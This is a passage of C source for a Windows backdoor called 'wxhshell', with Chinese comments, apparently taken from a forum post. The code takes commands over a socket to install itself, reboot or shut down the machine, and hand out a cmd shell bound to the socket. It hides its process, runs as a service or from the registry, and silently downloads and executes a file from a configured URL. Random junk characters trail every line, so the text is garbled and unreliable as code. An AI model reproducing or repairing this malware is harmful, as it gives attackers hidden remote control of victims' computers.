      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %n{E/06f  
    break; P$w0.XZa  
  } 7';PI!$  
  // 安装 Jzfz y0$  
  case 'i': { &)`A4bf%  
    if(Install()) 3Vt-]DGX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K uFDkT!  
    else V! ~uGf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #&Biu }4D  
    break; K);:+s-  
    }  "X}!j>-  
  // 卸载 )e Ub@Eu  
  case 'r': { UWmWouA  
    if(Uninstall()) 8R-?x/:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tl0_as  
    else fr:RiOPn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yuh t<:`  
    break; 5 {'%trDEy  
    } y 37n~~%  
  // 显示 wxhshell 所在路径 jJg 'Y:K9q  
  case 'p': { HnU}Lhjzj  
    char svExeFile[MAX_PATH]; |-2,k#|  
    strcpy(svExeFile,"\n\r"); l |\Q~ D!o  
      strcat(svExeFile,ExeFile); ^<ayPV)+  
        send(wsh,svExeFile,strlen(svExeFile),0); kOJs;k  
    break; [UFLL:_sC  
    } fMhMB |W.  
  // 重启 J6&;pCAi  
  case 'b': { `MEH/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O cm  
    if(Boot(REBOOT)) =|am=Q?Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Te: &d  
    else { X0p=jBye~>  
    closesocket(wsh); <.RgMPi  
    ExitThread(0); r;}kw(ukC  
    } &OWiA;e?f  
    break; }vp\lK P  
    } <7u*OYjA  
  // 关机 _ @ \  
  case 'd': { !^B`7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]cFqKs  
    if(Boot(SHUTDOWN)) RqH"+/wR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rs5G5W@"A  
    else { "y>l2V,4j%  
    closesocket(wsh); -/KVZ  
    ExitThread(0); Fi1gM}>py  
    } Nluy]h &  
    break; ;M\H#%G.  
    } WG(tt.  
  // 获取shell KxK$Y.y]  
  case 's': { C:$lH  
    CmdShell(wsh); [u/g =^+u  
    closesocket(wsh); 64`V+Hd  
    ExitThread(0); IjJ3./L!5  
    break; QT^W00h  
  } xZbm,. v  
  // 退出 \q%li)  
  case 'x': { H@5:x8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )2u=U9  
    CloseIt(wsh); `ag>4?7?  
    break; U0UOubA  
    } =f=MtH?0y  
  // 离开 9C3q4.$D  
  case 'q': { +7d%)t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )7O4j}B){  
    closesocket(wsh); *\:u}'[  
    WSACleanup(); :] {+ 3A  
    exit(1); wD}[XE?S  
    break; }.MJVB3  
        } o= N=W  
  } ~kw[Aw3?D\  
  } -=O9D- x=  
`'.u$IBW  
  // 提示信息 )!){4c/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sf7'8+wj>  
} >\3=h8zw  
  } OB l-6W  
H2|&  
  return; t&H):P  
} -=5z&) X  
D_(xhM  
// shell模块句柄 j`ggg]"&$  
int CmdShell(SOCKET sock) S1*n4w.H  
{ :!'aP\uE  
STARTUPINFO si; 4LJUO5(y@  
ZeroMemory(&si,sizeof(si)); |oC&;A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |OhNQoTY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (/tbe@<  
PROCESS_INFORMATION ProcessInfo; ~z%K9YcyU  
char cmdline[]="cmd"; IWsB$T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cddw\|'3  
  return 0; >mi%L3Pk  
} wp$C J09f*  
nlw(U3@7  
// 自身启动模式 #&5m=q$EI  
int StartFromService(void) _~| j~QE]  
{ xSug-  
typedef struct  3m  
{ HE7JQP!q  
  DWORD ExitStatus; gO1`zP!9Z  
  DWORD PebBaseAddress; 3zGxe-  
  DWORD AffinityMask; ID E3>D  
  DWORD BasePriority; F+v?2|03  
  ULONG UniqueProcessId; # ]&=]K1V  
  ULONG InheritedFromUniqueProcessId; <Y9((QSM4  
}   PROCESS_BASIC_INFORMATION; )pW(Cp  
03iO4yOu  
PROCNTQSIP NtQueryInformationProcess; ^SVdaQ{7  
i~PN(h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l7 j3;Ly  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3[pA:Z+xx  
2BsMFMIw1  
  HANDLE             hProcess; I[WW1P5  
  PROCESS_BASIC_INFORMATION pbi; p p9Gzn C  
/{\tkvv-Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >A7),6  
  if(NULL == hInst ) return 0; a>(LFpVk}  
}<9*eAn`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t8E'd :pE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #Kn=Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4\Mh2z5  
&d[&8V5S  
  if (!NtQueryInformationProcess) return 0; u&9|9+"N  
HhH[pE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;vc$;54K  
  if(!hProcess) return 0; 4%aODr8  
? D2:'gg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aM,>LKNbQ  
GG/~)^VMe  
  CloseHandle(hProcess); 0<Vw0%!  
.3Jggp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d_-{-@  
if(hProcess==NULL) return 0; .^X IZ  
{UT^p IP\  
HMODULE hMod; :%{MMhb x  
char procName[255]; O\q|b#q}/  
unsigned long cbNeeded; p>96>7w  
TGY^,H>J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]Z&2  
TWK(vEDM  
  CloseHandle(hProcess); XuVbi=pN.2  
%($sj| _l  
if(strstr(procName,"services")) return 1; // 以服务启动 hIuK s5`  
H :}|UW  
  return 0; // 注册表启动 h?p&9[e`  
} @D[jUC$E  
t.v@\[{ -  
// 主模块 S6*3."Sk  
int StartWxhshell(LPSTR lpCmdLine) W1w)SS  
{ 24}r;=U  
  SOCKET wsl; gxycw4kz  
BOOL val=TRUE; Sx5r u?$.  
  int port=0; wv # 1s3  
  struct sockaddr_in door; ]/XNfb  
^ D/:[  
  if(wscfg.ws_autoins) Install(); MW &iNioX  
Q4JwX=ZVj  
port=atoi(lpCmdLine); 5#p [Q _  
.36z  
if(port<=0) port=wscfg.ws_port; rg]eSP3 W  
r77?s?  
  WSADATA data; qh Rs5QXL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =P!SN]nFeP  
wv|:-8V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l 'fUa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S^]i  
  door.sin_family = AF_INET; H5j~<@STC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \SkCsE#H  
  door.sin_port = htons(port); 6=3}gd5  
osB[KRT>("  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~vy_~|6s  
closesocket(wsl); CL5u{i5  
return 1; cfyN)#9  
} M;ac U~J  
*` >(K&  
  if(listen(wsl,2) == INVALID_SOCKET) { U< |kA(5  
closesocket(wsl); w^sM,c5d  
return 1; @@9#od O  
} i:0~%X  
  Wxhshell(wsl); bEfxu;Su 3  
  WSACleanup(); UxzZr%>s  
oIdMDp^$  
return 0; J GnL[9P_  
n a])bBn  
} d nWh}!  
^n"ve2   
// 以NT服务方式启动 ~T7\lJ{%G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  S =!3t`  
{ J 6U3}SO=y  
DWORD   status = 0; rLGh>bw#`3  
  DWORD   specificError = 0xfffffff; r4D*$H-rR  
hhLEU_U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HA&][%^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Lj6$?(x}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~rN~Ql%S  
  serviceStatus.dwWin32ExitCode     = 0; GxL5yeN@(  
  serviceStatus.dwServiceSpecificExitCode = 0; #uVH~P5TM  
  serviceStatus.dwCheckPoint       = 0; `%EMhk  
  serviceStatus.dwWaitHint       = 0; 'Pk ( 1:  
} :P/eY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !run3ip`Z  
  if (hServiceStatusHandle==0) return; 0&E{[~Pv  
X3 D(2W  
status = GetLastError(); \b?z\bC56  
  if (status!=NO_ERROR) "yxIaTZu  
{ R@-rc|FunJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m{gx\a.5  
    serviceStatus.dwCheckPoint       = 0; % zHsh  
    serviceStatus.dwWaitHint       = 0; -bdF=  
    serviceStatus.dwWin32ExitCode     = status; 1Rc'2Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; xw(KSPN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SE&J)Sj]  
    return; RNE} )B  
  } kaQn'5  
m!L&_ Z|j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8*V^DM3n-  
  serviceStatus.dwCheckPoint       = 0; Jf{6'Ub  
  serviceStatus.dwWaitHint       = 0; rwGY)9 |  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 73OFFKbsk  
} @ 6w\q?.s  
w?|gJ*B"  
// 处理NT服务事件,比如:启动、停止 $q.% 4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6cQh8_/>{#  
{ @2c Gx/1#  
switch(fdwControl) w0(A7L:L  
{ `j{ 5$X  
case SERVICE_CONTROL_STOP: 9IZ}}x  
  serviceStatus.dwWin32ExitCode = 0; UmZ#Cm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pwU l&hwte  
  serviceStatus.dwCheckPoint   = 0; fx2r\ usX[  
  serviceStatus.dwWaitHint     = 0; : &>PN,q>  
  { zBV7b| j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,E2Tw-%  
  } ]p~w`_3v  
  return; i7v> 9p7  
case SERVICE_CONTROL_PAUSE: BR*,E~%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a[bu{Z]%  
  break; 42kr&UY&  
case SERVICE_CONTROL_CONTINUE: & F\HR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gZF-zhnC  
  break; GZ( W6 4  
case SERVICE_CONTROL_INTERROGATE: 8%q:lI  
  break; o5)lTVQ~~  
}; ^=Q/ H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B%QvFxZz  
} :^]rjy/|+  
E Mq P  
// 标准应用程序主函数 b"n0Yk1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H`|8x4  
{ {Hg.ctam  
i_8v >F  
// 获取操作系统版本 Q{1Q w'+@  
OsIsNt=GetOsVer(); ?_*X\En*3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \7o&'zEw  
9}LcJ  
  // 从命令行安装 {?yZdL:m)  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lq<#  
Ib3n%AG  
  // 下载执行文件 1S .~Vh0Q,  
if(wscfg.ws_downexe) { 1\K%^<QY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5jAiqJq~y:  
  WinExec(wscfg.ws_filenam,SW_HIDE); [S;ceORx  
} w ;+x g  
1'ts>6b  
if(!OsIsNt) { +QpgG4h  
// 如果时win9x,隐藏进程并且设置为注册表启动 t[/WGF&(R  
HideProc(); =?hGa;/rb  
StartWxhshell(lpCmdLine); },<(VhP  
} ;cKN5#7  
else nKpXRuFn\  
  if(StartFromService()) foO /Yc  
  // 以服务方式启动 %i[G6+-  
  StartServiceCtrlDispatcher(DispatchTable); d^AXhQjQN-  
else m X2i^.zH  
  // 普通方式启动 &[QvMh  
  StartWxhshell(lpCmdLine); 3fA.DK[4[  
`F-<P%k  
return 0; eW%Cef  
}
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只看该作者 1 发表于: 2006-10-10
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